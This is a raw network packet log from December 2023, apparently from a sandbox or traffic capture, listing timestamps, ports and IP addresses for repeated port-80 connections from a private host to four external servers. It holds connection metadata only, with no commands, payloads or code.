Dec 8, 2023 14:52:17.612606049 CET	49769	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:17.867712021 CET	80	49769	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:17.869066000 CET	80	49769	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:17.869123936 CET	80	49769	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:17.869203091 CET	49769	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:19.122796059 CET	49769	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:20.138766050 CET	49770	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:20.391889095 CET	80	49770	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:20.391985893 CET	49770	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:20.392215014 CET	49770	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:20.648586035 CET	80	49770	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:20.649234056 CET	80	49770	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:20.649319887 CET	80	49770	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:20.649466991 CET	49770	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:21.904048920 CET	49770	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:22.920044899 CET	49771	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:23.174071074 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.174336910 CET	49771	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:23.174957037 CET	49771	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:23.428963900 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.429282904 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.429385900 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.429527044 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.429650068 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.430182934 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.430197954 CET	80	49771	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:23.430274010 CET	49771	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:24.685379982 CET	49771	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:25.702590942 CET	49772	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:25.956223965 CET	80	49772	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:25.956376076 CET	49772	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:25.956589937 CET	49772	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:26.210041046 CET	80	49772	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:26.210994959 CET	80	49772	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:26.211009026 CET	80	49772	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:26.211144924 CET	49772	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:26.211302042 CET	49772	80	192.168.2.4	81.169.145.70
Dec 8, 2023 14:52:26.464876890 CET	80	49772	81.169.145.70	192.168.2.4
Dec 8, 2023 14:52:31.939461946 CET	49773	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:32.217155933 CET	80	49773	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:32.217263937 CET	49773	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:32.217535973 CET	49773	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:32.495026112 CET	80	49773	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:32.558415890 CET	80	49773	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:32.558609009 CET	49773	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:33.732106924 CET	49773	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:34.748366117 CET	49774	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:35.026525974 CET	80	49774	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:35.026664972 CET	49774	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:35.026890993 CET	49774	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:35.304168940 CET	80	49774	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:35.367470026 CET	80	49774	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:35.367580891 CET	49774	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:36.529347897 CET	49774	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:37.546040058 CET	49775	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:37.821531057 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:37.822788954 CET	49775	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:37.823259115 CET	49775	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:38.099231005 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:38.099247932 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:38.099261045 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:38.160669088 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:38.162178040 CET	80	49775	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:38.162276030 CET	49775	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:39.325861931 CET	49775	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:40.341932058 CET	49776	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:40.619250059 CET	80	49776	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:40.619438887 CET	49776	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:40.619764090 CET	49776	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:40.898921013 CET	80	49776	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:40.899094105 CET	49776	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:40.899321079 CET	49776	80	192.168.2.4	85.159.66.93
Dec 8, 2023 14:52:41.178170919 CET	80	49776	85.159.66.93	192.168.2.4
Dec 8, 2023 14:52:46.987917900 CET	49777	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:47.184621096 CET	80	49777	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:47.184726954 CET	49777	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:47.184953928 CET	49777	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:47.381448984 CET	80	49777	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:47.394695997 CET	80	49777	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:47.394762039 CET	80	49777	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:47.394972086 CET	49777	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:48.685211897 CET	49777	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:49.701220989 CET	49778	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:49.897872925 CET	80	49778	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:49.898047924 CET	49778	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:49.898237944 CET	49778	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:50.095019102 CET	80	49778	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:50.103866100 CET	80	49778	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:50.103884935 CET	80	49778	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:50.103938103 CET	49778	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:51.403933048 CET	49778	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:52.420128107 CET	49779	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:52.616444111 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.616605043 CET	49779	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:52.618525028 CET	49779	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:52.815146923 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.815661907 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.815684080 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.827841043 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.828255892 CET	80	49779	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:52.828387976 CET	49779	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:54.124552011 CET	49779	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.138684988 CET	49780	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.334616899 CET	80	49780	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:55.334759951 CET	49780	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.335270882 CET	49780	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.531567097 CET	80	49780	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:55.547863960 CET	80	49780	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:55.548142910 CET	80	49780	162.241.252.161	192.168.2.4
Dec 8, 2023 14:52:55.548218966 CET	49780	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.548249006 CET	49780	80	192.168.2.4	162.241.252.161
Dec 8, 2023 14:52:55.744163036 CET	80	49780	162.241.252.161	192.168.2.4
Dec 8, 2023 14:53:01.269397974 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:01.509095907 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:01.509279013 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:01.509511948 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:01.749089956 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853344917 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853411913 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853451967 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853461981 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:02.853491068 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853528023 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853529930 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:02.853564024 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853600025 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:02.853600979 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853637934 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853673935 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853678942 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:02.853712082 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:02.853751898 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.013286114 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093631983 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093700886 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093739986 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093777895 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093816042 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093830109 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093830109 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093830109 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093859911 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093859911 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.093897104 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.093940973 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094021082 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094058990 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094068050 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094101906 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094166040 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094212055 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094522953 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094566107 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094613075 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094650984 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094656944 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094691038 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094692945 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094727993 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094733953 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094764948 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094765902 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094805002 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094835997 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094878912 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.094935894 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.094980001 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.095036983 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.095081091 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.095138073 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.095180988 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:03.095367908 CET	80	49781	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:03.095411062 CET	49781	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:04.878972054 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:05.118127108 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:05.118370056 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:05.118521929 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:05.357446909 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.360938072 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.360991955 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361032009 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361063957 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.361068010 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361109018 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361148119 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361149073 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.361185074 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361222982 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361229897 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.361280918 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.361323118 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361358881 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.361452103 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.600351095 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600379944 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600394011 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600456953 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600505114 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600646973 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600667000 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.600701094 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.600764990 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.600773096 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600810051 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600863934 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600886106 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.600931883 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.600994110 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.601022959 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601123095 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601172924 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601197004 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.601294994 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601362944 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.601371050 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601461887 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601526022 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601531029 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.601648092 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601702929 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601731062 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.601754904 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.601823092 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.622687101 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.839814901 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.839874983 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.839915991 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.839952946 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.839950085 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.839991093 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840027094 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840028048 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840027094 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840068102 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840075016 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840087891 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840121984 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840126038 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840158939 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840166092 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840197086 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840202093 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840234041 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840240002 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840272903 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840276957 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840311050 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840317011 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840348005 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840354919 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840385914 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840399027 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840424061 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840425014 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840465069 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840466976 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840511084 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840528011 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840572119 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840586901 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840622902 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840660095 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840662956 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840662956 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840697050 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840747118 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840747118 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840841055 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840878010 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840884924 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840920925 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840924025 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840956926 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.840962887 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.840996981 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841013908 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841033936 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841039896 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841072083 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841072083 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841114044 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841124058 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841154099 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841248989 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841285944 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841291904 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841332912 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841445923 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841485023 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841489077 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841522932 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841531038 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841559887 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841567993 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841599941 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841660023 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841696978 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841706991 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841741085 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841794968 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841833115 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841840982 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841893911 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:06.841898918 CET	80	49782	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:06.841947079 CET	49782	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:07.638525009 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:07.878132105 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:07.878204107 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:07.878715038 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:08.118304968 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:08.118623972 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:08.118704081 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:08.118716002 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:08.118769884 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:08.118923903 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144088984 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144112110 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144154072 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144190073 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.144232035 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144270897 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.144350052 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144428015 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144469023 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.144531965 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144624949 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144659996 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.144694090 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144754887 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.144789934 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.383884907 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.383913040 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.383994102 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384004116 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384115934 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384161949 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384195089 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384265900 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384306908 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384366035 CET	80	49783	185.74.252.11	192.168.2.4
